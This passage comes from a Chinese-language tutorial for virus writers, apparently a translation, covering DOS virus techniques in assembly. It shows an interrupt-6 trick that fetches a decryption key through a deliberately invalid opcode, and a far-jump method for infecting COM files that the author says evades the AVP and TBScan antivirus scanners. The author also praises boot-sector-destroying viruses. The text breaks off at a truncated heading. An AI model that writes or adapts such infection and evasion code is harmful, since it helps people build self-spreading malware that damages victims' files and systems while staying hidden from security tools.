4 通过int 6 的手段:
cpu 如果发现无效指令运行则int 6h 中断总是会被调用的。这个方法非常相似于int 1 中断的手段。我们设置一个int 6h中断的handler,然后执行一个条我们故意使用的无效指令,同时返回解密密钥。如果我们不想陷入无穷尽的循环当中,就要修改返回时的偏移。
mov ax, 3506h ;get int vector 6, so we can restore it later
int 21h ;not really necessary, but a little bit saver
mov int6_segm, es
mov int6_offs, bx
mov ax, 2506h ;set int vector 6 to our own routine
mov dx, offset int6_handler
int 21h
dw 0ffffh ;an invalid opcode, will call our int 6
mov decrypt_key, ax ;handler, which returns the decryption key
mov ax, 2506h ;restore the original int 6 handler
mov dx, cs:int6_offs
mov ds, cs:int6_segm
int 21h
[...]
int6_handler:
mov ax, key
mov bx, sp
add word ptr ss:[bx], 2 ;modify return address - very important!
;2 is the size of our invalid opcode.
iret请记住,这一方式并不能工作在window系统下的dos窗口程序中,因为window会率先截获一个无效的opcode,并给出错误消息(thanks to z0mbie for that tip)。所以如果你想使你的dos virus兼容window,那么不要用此方法,尽管破坏引导区的virus实在是很美妙的。
5 感染com文件及far jump方式:
我不喜欢delta offsets方式,所有我开始尝试用far jump方式来感染com文件(当然,还是要加上些代码用来重定位的):
mov ax, cs ;relocate far jump
add [offset com_seg], ax
jmp short $+2 ;clear prefetch queue
db 0eah ;op-code far jump
dw offset start ;offset
com_seg dw 0 ;segment (length of com file in paragraphs)
;pad filesize to even paragraph!这段代码可以非常稳定地运行,我很惊讶,这种感染方式可以阻止avp和tbscan的来发现文件已被感染的检测方式。如果想看全部的virus欺骗技巧,再一次提醒您,可以查找我写 pr.h!- virus。
6 初始化寄存器方bitscn.com
